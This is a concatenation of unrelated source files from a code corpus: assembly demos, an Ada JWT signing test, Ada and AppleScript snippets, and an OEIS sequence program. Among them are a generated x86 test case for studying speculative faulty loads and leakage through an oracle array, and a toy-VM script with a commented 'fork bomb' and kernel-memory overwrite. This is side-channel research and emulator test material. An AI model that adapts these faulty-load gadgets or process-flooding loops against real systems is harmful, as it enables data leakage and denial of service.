rest 10
endchannel
|
asm/display/showStringInScreen.asm | dyc-it/myos | 0 | 175651 | <filename>asm/display/showStringInScreen.asm<gh_stars>0
; filename: showStringInScreen.asm
; description: show string in screen
; principle: if we put char in address 0xb8000-0xbffff, the char will be automatically displayed in the screen.
; we should put the segment address in es register
mov ax, 0xb800 ; the physical address of video memory in text mode is 0xb800
mov es, ax ; the es register cannot be signed directly, so we use ax as bridge
; the following is the string we want to show in screen, eg:"myos"
; each char made up of two parts: char and mode(color and behavior)
mov byte [es:0x00], 'm'
mov byte [es:0x01], 0x07 ; 0x07 represents white char and black background
mov byte [es:0x02], 'y'
mov byte [es:0x03], 0x07
mov byte [es:0x04], 'o'
mov byte [es:0x05], 0x07
mov byte [es:0x06], 's'
mov byte [es:0x07], 0x07
times 510-($-$$) db 0
dw 0xaa55
|
emulator/test.asm | paulscottrobson/cxp-computer | 1 | 94840 | <reponame>paulscottrobson/cxp-computer
* = 0
nop
clc
xce
rep #$30
.al
.xl
ldy #0000
ldx #$CDEF
lda #$1234
inc
loop:
clc
adc #$1001
jsr doit
bra loop
doit:
rts
|
tests/rs_256_test.adb | reznikmm/jwt | 8 | 20875 | -- Copyright (c) 2020 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-- License-Filename: LICENSE
-------------------------------------------------------------
with Ada.Streams;
with League.Strings;
with League.Base_Codecs;
with JWS;
with JWS.RS256; pragma Unreferenced (JWS.RS256);
procedure RS_256_Test is
function "+"
(Item : Wide_Wide_String) return League.Strings.Universal_String
renames League.Strings.To_Universal_String;
-- This data is from rfc7515 example.
Header_Encoded : constant Wide_Wide_String :=
"<KEY>";
Payload_Encoded : constant Wide_Wide_String :=
"<KEY>" &
"cGxlLmNvbS9pc19yb290Ijp0cnVlfQ";
Signature_Encoded : constant Wide_Wide_String :=
"cC4hiUPoj9Eetdgtv3hF80EGrhuB__dzERat0XF9g2VtQgr9PJbu3XOiZj5RZmh7" &
"AAuHIm4Bh-0Qc_lF5YKt_O8W2Fp5jujGbds9uJdbF9CUAr7t1dnZcAcQjbKBYNX4" &
"BAynRFdiuB--f_nZLgrnbyTyWzO75vRK5h6xBArLIARNPvkSjtQBMHlb1L07Qe7K" &
"0GarZRmB_eSN9383LcOLn6_dO--xi12jzDwusC-eOkHWEsqtFZESc6BfI7noOPqv" &
"hJ1phCnvWh6IeYI2w9QOYEUipUTI8np6LbgGY9Fs98rqVt5AXLIhWkWywlVmtVrB" &
"p0igcN_IoypGlUPQGe77Rw";
Public_Key_Encoded : constant Wide_Wide_String :=
"<KEY>" &
"NiuSfb4p4fAkd/wWJcyQoTbji9k0l8W26mPddxHmfHQp+Vaw+4qPCJrcS2mJPMEz" &
"P1Pt0Bm4d4QlL+yRT+SFd2lZS+pCgNMsD1W/YpRPEwOWvG6b32690r2jZ47soMZo" &
"9wGzjb/7OMg0LOL+bSf63kpaSHSXndS5z5rexMdbBYUsLA9e+KXBdQOS+UTo7WTB" &
"EMa2R2CapHg665xsmtdVMTBQY4uDZlxvb3qCo5ZwKh9kG4LT6/I5IhlJH7aGhyxX" &
"FvUK+DWNmoudF8NAco9/h9iaGNj8q2ethFkMLs91kzk2PAcDTW9gb54h4FRWyuXp" &
"<KEY>";
Token : constant Wide_Wide_String := Header_Encoded &
"." & Payload_Encoded &
"." & Signature_Encoded;
Public_Key : constant Ada.Streams.Stream_Element_Array :=
League.Base_Codecs.From_Base_64
(+Public_Key_Encoded).To_Stream_Element_Array;
pragma Style_Checks (Off);
Private_Key_Encoded : constant Wide_Wide_String :=
"<KEY>" &
"vinh8CR3/BYlzJChNuOL2TSXxbbqY913EeZ8dCn5VrD7io8ImtxLaYk8wTM/U+3QGbh3hCUv7JFP" &
"5IV3aVlL6kKA0ywPVb9ilE8TA5a8bpvfbr3SvaNnjuygxmj3AbONv/s4yDQs4v5tJ/reSlpIdJed" &
"1LnPmt7Ex1sFhSwsD174pcF1A5L5ROjtZMEQxrZHYJqkeDrrnGya11UxMFBji4NmXG9veoKjlnAq" &
"H2QbgtPr8jkiGUkftoaHLFcW9Qr4NY2ai50Xw0Byj3+H2JoY2PyrZ62EWQwuz3WTOTY8BwNNb2Bv" &
"<KEY>" &
"<KEY>/GQ5sLKMgvfTeXZx9SE+7YwVol2NXOoAJe46sui395IW/GO+pWJ1O0BkTGoVEn2bKV" &
"RUCgu+GjBVaYLU6f3l9kJfFNS3E0QbVdxzubSu3Mkqzjkn439X0M/<KEY>rC4D4qAdG" &
"copV/0ZHHzQlBjudU2QvXt4ehNYTCBr6X<KEY>1ZdiYoFaFQT5Tw8bGUl/x/<KEY>V" &
"ZFD9pIuhLhBOneufuBiB4cS98l2SR/RQyGWSeWjnczT0QU91p1DhOVRuOopznQKBgQDgHMQQ60im" &
"ZV1URk0KpLttoLhyt3SmqdEf/kgHePDdtzEafpAu+cS191R2JiuoF2yzWXnwFDcqGigp5BNr0AHQ" &
"fD8/Lk8l1Mk09jxxCfui5nYooNyac8YFjm3vItzVCVDnEd3BbVWG8qf6deqElMGAg+C2V0L4oNXn" &
"P7LZcPAZRwKBgQC5A8R+CZW2MvRTLLHzwZkUXV866cff7tx6kqa0finGG0KgeqlaZPxgCZnFp7Ae" &
"AcCMtiynVlJ7vMVgePsLq6XtON4tB5kP9jAPrq3rbAOal78eUH5OcED6eNuCV8ixEu1eWcPNCS/l" &
"<KEY>" &
"k3g7/Ls5bkUp5u9SN0Ai3Ya6hNnvWJMb7sXQX6U/zyO2M/hTip7tUeh7CXgwo59dkpN75gJLVds2" &
"9+DAncu3KXU4f2Fa+7bLNrur53k8KwPOq2bbuTG69QtV7Jr5MR0AHWKNAoGAh/96+mK1R/7glhsu" &
"m81dZxjTnYynPbZpHziZjeeHcXYsXaaMwkOlODsWa7I9xXDoRwbKgB719rrmI2oKr6N3Do9U0aja" &
"HF+NKJnwgjMd2w9cjz3/+kyNlxAr2v4IKhGNpmM5iIgOS1VZnOZ68m6/pbLBSp3nssTdlqvd0tIi" &
"THUCgYEAIYd7DHOhrWvxkwPQsRM2tOgrjbcrfvtQJipd+DlcxyVuuM9sQLdgjVk2oy26F0EmpScG" &
"Lq2MowX7fhd/QJQ3ydy5cY7YIBi87w93IKLEdfnbJtoOPLUW0ITrJReOgo1cq9SbsxYawBgfp/gh" &
"6A5603k2+ZQwVK0JKSHuLFkuQ3U=";
pragma Style_Checks (On);
Private_Key : constant Ada.Streams.Stream_Element_Array :=
League.Base_Codecs.From_Base_64
(+Private_Key_Encoded).To_Stream_Element_Array;
Signature : JWS.JSON_Web_Signature;
Ok : Boolean;
Backward : JWS.JSON_Web_Signature;
Result : League.Strings.Universal_String;
begin
Signature.Validate_Compact_Serialization
(Value => +Token,
Secret => Public_Key,
Valid => Ok);
pragma Assert (Ok, "Validation failed");
Backward.Create
(Header => Signature.Header,
Payload => Signature.Payload,
Secret => Private_Key);
Result := Backward.Compact_Serialization;
pragma Assert
(Result.To_Wide_Wide_String = Token,
"Invalid Compact_Serialization");
end RS_256_Test;
|
src/firmware-tests/Platform/ShiftRegister/ShiftRegisterDummies.asm | pete-restall/Cluck2Sesame-Prototype | 1 | 85118 | #include "Platform.inc"
radix decimal
udata
global shiftRegisterBuffer
shiftRegisterBuffer res 1
ShiftRegisterDummies code
global initialiseShiftRegister
global enableShiftRegister
global disableShiftRegister
global isShiftRegisterEnabled
global shiftOut
initialiseShiftRegister:
enableShiftRegister:
disableShiftRegister:
shiftOut:
return
isShiftRegisterEnabled:
retlw 0
end
|
Logging/src/logging.ads | marcbejerano/ada-tools | 2 | 19647 | <gh_stars>1-10
-- @(#)File: logging.adb
-- @(#)Last changed: May 27 2015 10:30:00
-- @(#)Purpose: Application and system logging
-- @(#)Author: <NAME> <<EMAIL>>
-- @(#)Copyright: Copyright (C) 2015, <NAME>, All Rights Reserved
-- @(#)Product: None
-- @(#)License: BSD3
--
-- Copyright (c) 2015, <NAME>
-- All rights reserved.
--
-- Redistribution and use in source and binary forms, with or without
-- modification, are permitted provided that the following conditions are met:
--
-- * Redistributions of source code must retain the above copyright notice, this
-- list of conditions and the following disclaimer.
--
-- * Redistributions in binary form must reproduce the above copyright notice,
-- this list of conditions and the following disclaimer in the documentation
-- and/or other materials provided with the distribution.
--
-- * Neither the name of ada-tools nor the names of its
-- contributors may be used to endorse or promote products derived from
-- this software without specific prior written permission.
--
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
-- AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-- IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
-- DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
-- FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
-- DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
-- SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
-- CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
-- OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
package Logging is
end Logging;
|
libsrc/_DEVELOPMENT/adt/w_array/c/sdcc_iy/w_array_clear_fastcall.asm | jpoikela/z88dk | 640 | 97706 |
; void w_array_clear_fastcall(w_array_t *a)
SECTION code_clib
SECTION code_adt_w_array
PUBLIC _w_array_clear_fastcall
EXTERN asm_w_array_clear
defc _w_array_clear_fastcall = asm_w_array_clear
|
Applications/Finder/folders/get name of folders of front Finder window.applescript | looking-for-a-job/applescript-examples | 1 | 2745 | #!/usr/bin/osascript
tell application "Finder"
get name of folders of front Finder window
end tell
|
source/nodes/program-nodes-signed_integer_types.ads | optikos/oasis | 0 | 13974 | <gh_stars>0
-- Copyright (c) 2019 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-- License-Filename: LICENSE
-------------------------------------------------------------
with Program.Lexical_Elements;
with Program.Elements.Expressions;
with Program.Elements.Signed_Integer_Types;
with Program.Element_Visitors;
package Program.Nodes.Signed_Integer_Types is
pragma Preelaborate;
type Signed_Integer_Type is
new Program.Nodes.Node
and Program.Elements.Signed_Integer_Types.Signed_Integer_Type
and Program.Elements.Signed_Integer_Types.Signed_Integer_Type_Text
with private;
function Create
(Range_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
Lower_Bound : not null Program.Elements.Expressions
.Expression_Access;
Double_Dot_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
Upper_Bound : not null Program.Elements.Expressions
.Expression_Access)
return Signed_Integer_Type;
type Implicit_Signed_Integer_Type is
new Program.Nodes.Node
and Program.Elements.Signed_Integer_Types.Signed_Integer_Type
with private;
function Create
(Lower_Bound : not null Program.Elements.Expressions
.Expression_Access;
Upper_Bound : not null Program.Elements.Expressions
.Expression_Access;
Is_Part_Of_Implicit : Boolean := False;
Is_Part_Of_Inherited : Boolean := False;
Is_Part_Of_Instance : Boolean := False)
return Implicit_Signed_Integer_Type
with Pre =>
Is_Part_Of_Implicit or Is_Part_Of_Inherited or Is_Part_Of_Instance;
private
type Base_Signed_Integer_Type is
abstract new Program.Nodes.Node
and Program.Elements.Signed_Integer_Types.Signed_Integer_Type
with record
Lower_Bound : not null Program.Elements.Expressions.Expression_Access;
Upper_Bound : not null Program.Elements.Expressions.Expression_Access;
end record;
procedure Initialize (Self : aliased in out Base_Signed_Integer_Type'Class);
overriding procedure Visit
(Self : not null access Base_Signed_Integer_Type;
Visitor : in out Program.Element_Visitors.Element_Visitor'Class);
overriding function Lower_Bound
(Self : Base_Signed_Integer_Type)
return not null Program.Elements.Expressions.Expression_Access;
overriding function Upper_Bound
(Self : Base_Signed_Integer_Type)
return not null Program.Elements.Expressions.Expression_Access;
overriding function Is_Signed_Integer_Type_Element
(Self : Base_Signed_Integer_Type)
return Boolean;
overriding function Is_Type_Definition_Element
(Self : Base_Signed_Integer_Type)
return Boolean;
overriding function Is_Definition_Element
(Self : Base_Signed_Integer_Type)
return Boolean;
type Signed_Integer_Type is
new Base_Signed_Integer_Type
and Program.Elements.Signed_Integer_Types.Signed_Integer_Type_Text
with record
Range_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
Double_Dot_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
end record;
overriding function To_Signed_Integer_Type_Text
(Self : aliased in out Signed_Integer_Type)
return Program.Elements.Signed_Integer_Types
.Signed_Integer_Type_Text_Access;
overriding function Range_Token
(Self : Signed_Integer_Type)
return not null Program.Lexical_Elements.Lexical_Element_Access;
overriding function Double_Dot_Token
(Self : Signed_Integer_Type)
return not null Program.Lexical_Elements.Lexical_Element_Access;
type Implicit_Signed_Integer_Type is
new Base_Signed_Integer_Type
with record
Is_Part_Of_Implicit : Boolean;
Is_Part_Of_Inherited : Boolean;
Is_Part_Of_Instance : Boolean;
end record;
overriding function To_Signed_Integer_Type_Text
(Self : aliased in out Implicit_Signed_Integer_Type)
return Program.Elements.Signed_Integer_Types
.Signed_Integer_Type_Text_Access;
overriding function Is_Part_Of_Implicit
(Self : Implicit_Signed_Integer_Type)
return Boolean;
overriding function Is_Part_Of_Inherited
(Self : Implicit_Signed_Integer_Type)
return Boolean;
overriding function Is_Part_Of_Instance
(Self : Implicit_Signed_Integer_Type)
return Boolean;
end Program.Nodes.Signed_Integer_Types;
|
programs/oeis/133/A133893.asm | neoneye/loda | 22 | 5792 | <filename>programs/oeis/133/A133893.asm
; A133893: Numbers m such that binomial(m+3,m) mod 3 = 0.
; 6,7,8,15,16,17,24,25,26,33,34,35,42,43,44,51,52,53,60,61,62,69,70,71,78,79,80,87,88,89,96,97,98,105,106,107,114,115,116,123,124,125,132,133,134,141,142,143,150,151,152,159,160,161,168,169,170,177,178,179,186
mov $1,$0
div $1,3
mul $1,6
add $0,$1
add $0,6
|
krenel_booter.asm | gek169/Simple_ISA | 12 | 160689 | #!/usr/bin/sisa16_asm -run
..include"libc_pre.hasm"
..zero:
..dinclude"libc_pre.bin"
..(0x25):
my_page_o_crap:
fill 256, '7'
..(7):
:STR_my_string:
..ascii:Enter some text:
bytes '\r' ,'\n', 0;
bytes 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0;
bytes 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0;
:STR_my_other_string:
..ascii:Krenel shut down...
bytes '\r' ,'\n', 0;
:STR_yet_other_string:
..ascii:End of Program.
bytes '\r' ,'\n', 0;
//ENTER: exec 2048 on the command line!!!
..(55):
// Overwrite the krenel. There is no way it would work if this was being done to krenel memory!
lrx0 %LIBC_REGION%, %LIBC_KRENEL_BEGIN%;
lrx1 %LIBC_REGION%, %LIBC_KRENEL_END%;
overwrite_krenel_looptop:
cbrx0;
la 0;
farista;
rxincr;
rxcmp;
sc %overwrite_krenel_looptop%; jmpifneq;
side_process_looptop:
la 'V';
putchar;
la '\n'; syscall;
lla %0xDE02%; syscall; //sleep!
la 100; alpush; proc_wait; alpop;
farllda %&0xAABBCC%;
nota;
sc %side_process_looptop%; jmpifeq; //continue looping while zero.
//Shutdown.
//lla %0xDEAD%; syscall;
//write to disk! See if it makes it through at all.
llb %0x2500%;
lla %0xDE01%; //Disk write.
lrx0 %/0x3001%;
syscall;
lrx0 %/0x3001%;
llb %0x2600%;
lla %0xDE03%; //Disk read.
syscall;
la '\r'; putchar;
la '\n'; putchar;
la 'h'; putchar;
la 'm'; putchar;
la 'm'; putchar;
la '?'; putchar;
la '\r'; putchar;
la '\n'; putchar; interrupt;
lrx0 %/0x260000%;
proc_prints;
la '\n'; interrupt;
//Fork bomb. Uncomment at your own risk.
sc %0%;
lb 0;la 2; farista;
lb 1;
la 1; //if this process was created with exec.
//la 55; //if this process was created with fork.
farista;
lb 2; la 0x44; farista;
lla %0xDE06%;
syscall;
lrx2 %/0x50000%;
lrx1 %/0x90000%;
bruhtop:
rx0_2;
// seg_ld;
rx0_1; rxincr; rx1_0;
sc %bruhtop%; jmp;
lb 0; mod;
halt;
..(8):
krenel_boot:
lla %0xDE02%; syscall; //sleep!
la '\r'; putchar;
la '\n'; putchar;
la '\n'; interrupt;
push %10%; //make some room for that bootloader!
//Attempt to get a lock on the segment.
cpc;
la 'q'; putchar;
la '\n'; putchar; interrupt;
lla %0xDE08%; syscall;
jmpifneq;
//exec region syscall.
lla %0xDE04%; lb 55; syscall;
//Instead, fork it!
//bootloader written here
//This is written at 0: la 55, lfarpc
// sc %0%;
// lb 0; la 2; farista;
// lb 1; la 55; farista;
// lb 2; la 0x44; farista;
// lla %0xDE06%;
// syscall;
nota; sc %main_program_failure%; jmpifeq;
lrx0 0, %&STR_my_string%;
proc_prints;
la '\n'; syscall;
nota; sc %main_program_failure%; jmpifeq;
//Send a KILL to pid0
//lla %0xDE00%;lb 0;syscall;
lrx0 0, %&STR_my_string%;
proc_gets;
la '\r'; putchar;
la '\n'; putchar;
la '\n'; syscall;
lrx0 0, %&STR_my_string%;
proc_prints;
la '\r'; putchar;
la '\n'; putchar;
la '\n'; syscall;
//lla %0xDE00%;lb 1;syscall; //Kill the other guy.
//Send a message to all processes!
lla %0xDE05%;
lb 1;
sc %0%;
lrx0 %/0xAABBCC%;
syscall;
lla %0xDE05%;
lb 1;
sc %1%;
lrx0 %/0xAABBCC%;
syscall;
lla %0xDE05%;
lb 1;
sc %2%;
lrx0 %/0xAABBCC%;
syscall;
lla %0xDE05%;
lb 1;
sc %2%;
lrx0 %/0xAABBCC%;
syscall;
lla %0xDE05%;
lb 1;
sc %3%;
lrx0 %/0xAABBCC%;
syscall;
lla %0xDE05%;
lb 1;
sc %4%;
lrx0 %/0xAABBCC%;
syscall;
lrx0 0, %&STR_my_string%;
proc_gets
la '\r'; putchar;
la '\n'; putchar;
la '\n'; syscall;
lrx0 0, %&STR_my_string%;
proc_prints;
la '\r'; putchar;
la '\n'; putchar;
la '\n'; syscall;
lrx0 0, %&STR_yet_other_string%;
proc_prints;
lla %0xDEAD%; syscall;
lla %0xDE00%;lb 0;syscall; //Kill the other guy.
lla %0xDE00%;lb 2;syscall; //Kill the other guy.
lla %0xDE00%;lb 3;syscall; //Kill the other guy.
lla %0xDE00%;lb 4;syscall; //Kill the other guy.
lla %0xDE00%;lb 5;syscall; //Kill the other guy.
lla %0xDE00%;lb 6;syscall; //Kill the other guy.
lla %0xDE00%;lb 7;syscall; //Kill the other guy.
lla %0xDE00%;lb 1;syscall; //Kill ourselves. We are actually 1.
lb 0; rx1b; fltdiv
main_program_failure:
la 'f'; putchar;
halt;
|
tests/nonsmoke/functional/CompileTests/experimental_ada_tests/tests/explicit_deref.adb | ouankou/rose | 488 | 28752 | <reponame>ouankou/rose
-- Demonstrates:
-- Explicit Dereference
with ada.text_io;
procedure explicit_deref is
type A_Int is access Integer;
Var : A_Int := new Integer;
begin
Var.all := 12;
if Var.all = 12 then
ada.Text_Io.Put_Line("Explicit Dereference OK");
end if;
end Explicit_Deref;
|
Transynther/x86/_processed/AVXALIGN/_zr_un_/i3-7100_9_0xca_notsx.log_1398_192.asm | ljhsiun2/medusa | 9 | 173936 | .global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r14
push %r15
push %r8
push %rcx
push %rdx
// Load
lea addresses_A+0x10db6, %r14
nop
nop
and %rdx, %rdx
movups (%r14), %xmm6
vpextrq $1, %xmm6, %r11
nop
nop
nop
nop
nop
add $47085, %rcx
// Store
mov $0x36, %r11
nop
nop
nop
nop
cmp %rcx, %rcx
movl $0x51525354, (%r11)
nop
and %rdx, %rdx
// Load
lea addresses_WC+0x1eab6, %r15
dec %r10
vmovups (%r15), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $1, %xmm5, %rcx
nop
nop
nop
cmp $54038, %r11
// Store
lea addresses_A+0x1ad16, %rdx
nop
nop
nop
nop
nop
xor $62369, %rcx
movl $0x51525354, (%rdx)
nop
nop
add $47652, %r11
// Store
lea addresses_PSE+0x19e86, %r11
nop
cmp $59799, %r15
movl $0x51525354, (%r11)
xor %rdx, %rdx
// Store
lea addresses_UC+0x12db6, %r11
nop
nop
nop
nop
nop
add %rdx, %rdx
mov $0x5152535455565758, %rcx
movq %rcx, %xmm5
vmovups %ymm5, (%r11)
cmp %rdx, %rdx
// Load
lea addresses_RW+0xcf8e, %r10
nop
add %r11, %r11
mov (%r10), %rcx
nop
nop
nop
cmp $46424, %r14
// Store
lea addresses_WT+0x2db6, %rdx
nop
nop
xor %r10, %r10
movl $0x51525354, (%rdx)
nop
nop
nop
nop
and $15415, %r15
// Store
lea addresses_US+0x2940, %r15
and $28702, %rdx
movb $0x51, (%r15)
nop
nop
nop
xor %r15, %r15
// Faulty Load
lea addresses_UC+0x12db6, %r15
nop
nop
sub %rcx, %rcx
movaps (%r15), %xmm0
vpextrq $1, %xmm0, %r10
lea oracles, %rdx
and $0xff, %r10
shlq $12, %r10
mov (%rdx,%r10,1), %r10
pop %rdx
pop %rcx
pop %r8
pop %r15
pop %r14
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_UC', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_A', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_P', 'size': 4, 'AVXalign': True}}
{'src': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_WC', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_A', 'size': 4, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': True, 'type': 'addresses_PSE', 'size': 4, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_UC', 'size': 32, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_RW', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_WT', 'size': 4, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_US', 'size': 1, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_UC', 'size': 16, 'AVXalign': True}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'25': 1, '00': 1397}
00 25 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
oeis/315/A315018.asm | neoneye/loda-programs | 11 | 89176 | ; A315018: Coordination sequence Gal.6.193.5 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; Submitted by <NAME>
; 1,5,9,15,19,23,28,33,37,41,47,51,56,61,65,71,75,79,84,89,93,97,103,107,112,117,121,127,131,135,140,145,149,153,159,163,168,173,177,183,187,191,196,201,205,209,215,219,224,229
mov $2,$0
seq $0,313829 ; Coordination sequence Gal.6.203.5 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
mov $1,5
sub $1,$0
add $0,$2
sub $0,$1
div $0,3
mov $1,$0
mul $1,2
mov $3,$2
add $3,1
mul $3,2
add $1,$3
mov $0,$1
div $0,2
add $0,1
|
oeis/176/A176906.asm | neoneye/loda-programs | 11 | 28538 | ; A176906: Decimal expansion of (15+sqrt(230))/5.
; Submitted by <NAME>
; 6,0,3,3,1,5,0,1,7,7,6,2,0,6,2,0,2,2,1,7,0,2,7,3,0,1,7,4,5,1,2,8,2,8,6,2,1,8,1,9,8,5,6,8,5,5,8,0,6,9,8,4,9,0,1,2,9,0,4,8,4,0,0,7,1,1,6,8,9,3,3,5,4,7,3,0,1,6,9,9,8,6,3,6,5,6,2,4,3,7,2,5,6,5,5,7,8,5,6,1
mov $2,1
mov $3,$0
mul $3,4
lpb $3
add $5,$2
add $5,$2
add $1,$5
mov $2,$1
add $2,$1
mul $2,45
sub $3,2
lpe
mov $1,4
mul $5,3
add $1,$5
add $1,2
mov $4,10
pow $4,$0
div $2,$4
div $1,$2
mov $0,$1
mod $0,10
|
Script/2.asm | Tarak-Mahmud/CSE331L_Section_7_Summer20_NSU_Final | 0 | 18604 | <filename>Script/2.asm
.MODEL SMALL
.STACK 100H
.DATA
PROMPT_1 DB 'Enter hexadecimal : $'
PROMPT_2 DB 0DH,0AH,'The equivalent 16-bit binary number is : $'
ILLEGAL DB 0DH,0AH,'Illegal hex number. Try again : $'
COUNT DB ?
.CODE
MAIN PROC
MOV AX, @DATA ; initialize DS
MOV DS, AX
LEA DX, PROMPT_1 ; load and display the string PROMPT_1
MOV AH,9
INT 21H
JMP @START ; jump to label @START_2
@START_1: ; jump label
LEA DX, ILLEGAL ; load and display the string ILLEGAL
MOV AH, 9
INT 21H
@START: ;
XOR BX, BX ; clear BX
MOV COUNT, 30H ; initialize loop counter
@START_2: ; jump label
MOV AH, 1 ; set input function
INT 21H ; read a character
CMP AL, 0DH ; compare Al with CR
JNE @SKIP ; jump to label @SKIP if AL!=CR
CMP COUNT, 30H ; compare COUNT with 0
JBE @START_1 ; jump to label @START_1 if COUNT<=0
JMP @END ; jump to label @END
@SKIP: ; jump label
